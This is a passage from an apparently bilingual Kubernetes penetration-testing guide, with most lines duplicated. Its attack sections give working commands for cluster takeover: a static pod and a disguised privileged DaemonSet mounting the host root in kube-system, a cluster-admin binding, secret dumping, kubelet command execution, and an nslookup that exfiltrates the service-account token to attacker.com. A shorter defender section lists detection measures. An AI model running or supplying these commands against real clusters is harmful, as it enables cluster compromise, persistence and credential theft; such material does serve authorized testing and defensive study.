cat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF' apiVersion: v1 kind: Pod metadata: name: pwn-static namespace: kube-system spec: hostPID: true hostNetwork: true containers:
  • name: pwn image: alpine command: ["sleep", "3600"] securityContext: privileged: true volumeMounts:
    • name: root mountPath: /host volumes:
  • name: root hostPath: path: / EOF
undefined

CRD and Operator Abuse

CRD 和 Operator 滥用

bash
undefined
bash
undefined

List custom resource definitions

List custom resource definitions

kubectl get crds
kubectl get crds

Check for operators with elevated privileges

Check for operators with elevated privileges

kubectl get deployments -A -o json | python3 -c " import json,sys data=json.load(sys.stdin) for d in data['items']: name=d['metadata']['name'] ns=d['metadata']['namespace'] sa=d['spec']['template']['spec'].get('serviceAccountName','default') if any(x in name.lower() for x in ['operator','controller','manager']): print(f'{ns}/{name} (SA: {sa})') "
kubectl get deployments -A -o json | python3 -c " import json,sys data=json.load(sys.stdin) for d in data['items']: name=d['metadata']['name'] ns=d['metadata']['namespace'] sa=d['spec']['template']['spec'].get('serviceAccountName','default') if any(x in name.lower() for x in ['operator','controller','manager']): print(f'{ns}/{name} (SA: {sa})') "

If you can create CRDs, install a backdoor operator

If you can create CRDs, install a backdoor operator

If you can modify existing CRs, inject malicious configurations

If you can modify existing CRs, inject malicious configurations

Example: modify a CR that triggers pod creation with your image

Example: modify a CR that triggers pod creation with your image

undefined
undefined

Persistence via DaemonSet

通过 DaemonSet 实现持久化

bash
undefined
bash
undefined

Deploy a DaemonSet that runs on every node

Deploy a DaemonSet that runs on every node

cat <<'EOF' | kubectl apply -f - apiVersion: apps/v1 kind: DaemonSet metadata: name: node-monitor namespace: kube-system labels: app: node-monitor spec: selector: matchLabels: app: node-monitor template: metadata: labels: app: node-monitor spec: hostPID: true hostNetwork: true tolerations: - operator: Exists containers: - name: monitor image: alpine command: ["/bin/sh", "-c"] args: - | while true; do # Beacon to C2 or maintain reverse shell sleep 3600 done securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / EOF

---
cat <<'EOF' | kubectl apply -f - apiVersion: apps/v1 kind: DaemonSet metadata: name: node-monitor namespace: kube-system labels: app: node-monitor spec: selector: matchLabels: app: node-monitor template: metadata: labels: app: node-monitor spec: hostPID: true hostNetwork: true tolerations: - operator: Exists containers: - name: monitor image: alpine command: ["/bin/sh", "-c"] args: - | while true; do # Beacon to C2 or maintain reverse shell sleep 3600 done securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / EOF

---

Phase 9: Network Policy Bypass

阶段 9:NetworkPolicy 绕过

bash
undefined
bash
undefined

Check if network policies exist

Check if network policies exist

kubectl get networkpolicies -A
kubectl get networkpolicies -A

If no policies exist, all pod-to-pod traffic is allowed by default

If no policies exist, all pod-to-pod traffic is allowed by default

Even with policies, bypass opportunities include:

Even with policies, bypass opportunities include:

1. DNS-based exfiltration (port 53 is rarely blocked)

1. DNS-based exfiltration (port 53 is rarely blocked)

Encode data in DNS queries

Encode data in DNS queries

nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com

2. Metadata service (169.254.169.254) may not be covered by network policies

2. Metadata service (169.254.169.254) may not be covered by network policies

3. NodePort services bypass pod-level network policies

3. NodePort services bypass pod-level network policies

Access services via node IP and NodePort (30000-32767)

Access services via node IP and NodePort (30000-32767)

4. Host network pods bypass network policies entirely

4. Host network pods bypass network policies entirely

If you can create hostNetwork pods, you bypass all CNI-level restrictions

If you can create hostNetwork pods, you bypass all CNI-level restrictions

5. Service mesh sidecar bypass

5. Service mesh sidecar bypass

If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh

If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh

Direct pod IP access (bypassing service) may skip mesh-level policies

Direct pod IP access (bypassing service) may skip mesh-level policies

6. Check for misconfigured egress policies

6. Check for misconfigured egress policies

kubectl get networkpolicies -A -o json | python3 -c " import json,sys data=json.load(sys.stdin) for np in data['items']: name=np['metadata']['name'] ns=np['metadata']['namespace'] egress=np['spec'].get('egress') if egress is None: print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)') elif len(egress)==1 and egress[0]=={}: print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)') "

---
kubectl get networkpolicies -A -o json | python3 -c " import json,sys data=json.load(sys.stdin) for np in data['items']: name=np['metadata']['name'] ns=np['metadata']['namespace'] egress=np['spec'].get('egress') if egress is None: print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)') elif len(egress)==1 and egress[0]=={}: print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)') "

---

Detection / Defender View

检测/防御方视角

Defenders monitoring for Kubernetes cluster attacks should watch for:
  • Audit logging: Enable and monitor Kubernetes audit logs for unusual API calls. Watch for
    create
    or
    patch
    on
    clusterrolebindings
    ,
    roles
    ,
    pods/exec
    , and
    secrets
    . Track service account token usage outside normal application patterns.
  • RBAC alerts: Alert on creation of ClusterRoleBindings to
    cluster-admin
    . Monitor for wildcard permissions in new roles. Track
    escalate
    ,
    bind
    , and
    impersonate
    verb usage.
  • Kubelet access: Monitor for direct kubelet API connections (10250) that do not originate from the API server. Disable the read-only port (10255) entirely.
  • Pod security: Enforce Pod Security Standards (restricted profile). Alert on pod creation with
    hostPID
    ,
    hostNetwork
    ,
    hostPath
    , or
    privileged: true
    . Watch for pods running in
    kube-system
    that are not part of the standard control plane.
  • Secrets access patterns: Monitor for bulk secret reads across namespaces. Alert on service accounts accessing secrets they do not normally access. Enable encryption at rest for etcd.
  • Network monitoring: Watch for pod-to-metadata-service traffic (169.254.169.254). Monitor DNS query patterns for tunneling indicators. Alert on pod-to-pod traffic that bypasses service abstractions.
  • Cloud IAM: Restrict IMDS access to pods that need it (use network policies or cloud-native controls). Use workload identity instead of node-level IAM roles. Audit cloud API calls originating from Kubernetes nodes.
  • Falco and runtime: Deploy runtime security monitoring. Detect unexpected process execution, network connections, and file access in containers. Watch for
    nsenter
    ,
    kubectl
    , and
    curl
    to API endpoints from application pods.

监控 Kubernetes 集群攻击的防御人员应关注:
  • 审计日志:启用并监控 Kubernetes audit log,以发现异常 API 调用。关注对
    clusterrolebindings
    、
    roles
    、
    pods/exec
    和
    secrets
    的
    create
    或
    patch
    操作。跟踪 Service Account token 在正常应用模式之外的使用情况。
  • RBAC 告警:对创建指向
    cluster-admin
    的 ClusterRoleBinding 发出告警。监控新角色中的通配符权限。跟踪
    escalate
    、
    bind
    和
    impersonate
    verb 的使用情况。
  • Kubelet 访问:监控并非来自 API Server 的直接 kubelet API 连接(10250)。彻底禁用只读端口(10255)。
  • Pod 安全:强制执行 Pod Security Standards(restricted profile)。对使用
    hostPID
    、
    hostNetwork
    、
    hostPath
    或
    privileged: true
    创建的 Pod 发出告警。关注运行于
    kube-system
    但不属于标准控制平面的 Pod。
  • Secrets 访问模式:监控跨 namespace 批量读取 Secrets 的行为。对 Service Account 访问其通常无权访问的 Secrets 发出告警。为 etcd 启用静态加密。
  • 网络监控:关注 Pod 到元数据服务(169.254.169.254)的流量。监控 DNS 查询模式中的隧道指标。对绕过服务抽象的 Pod 间流量发出告警。
  • 云 IAM:仅允许确有需要的 Pod 访问 IMDS(使用 NetworkPolicy 或云原生控制措施)。优先使用 Workload Identity,而不是节点级 IAM role。审计源自 Kubernetes 节点的云 API 调用。
  • Falco 与运行时:部署运行时安全监控。检测容器中意外的进程执行、网络连接和文件访问。关注应用 Pod 中发往 API endpoint 的
    nsenter
    、
    kubectl
    和
    curl
    。

Engagement Cheatsheet

渗透测试速查表

bash
undefined
bash
undefined

--- Initial Recon ---

--- Initial Recon ---

Get current permissions

Get current permissions

kubectl auth can-i --list kubectl auth can-i --list -n kube-system kubectl auth can-i create pods kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i --list kubectl auth can-i --list -n kube-system kubectl auth can-i create pods kubectl auth can-i get secrets --all-namespaces

Enumerate cluster

Enumerate cluster

kubectl cluster-info kubectl get nodes -o wide kubectl get namespaces kubectl get pods -A -o wide kubectl get services -A
kubectl cluster-info kubectl get nodes -o wide kubectl get namespaces kubectl get pods -A -o wide kubectl get services -A

--- Secrets ---

--- Secrets ---

kubectl get secrets -A kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"
kubectl get secrets -A kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"

--- Privilege Escalation ---

--- Privilege Escalation ---

Create cluster-admin binding

Create cluster-admin binding

kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default

Deploy privileged pod

Deploy privileged pod

kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never

--- Kubelet ---

--- Kubelet ---

curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"
curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"

--- Cloud Metadata ---

--- Cloud Metadata ---

--- Lateral Movement ---

--- Lateral Movement ---

Exec into other pods

Exec into other pods

kubectl get pods -A kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
kubectl get pods -A kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh

Port forward to internal services

Port forward to internal services

kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE

---
kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE

---

Key References

主要参考资料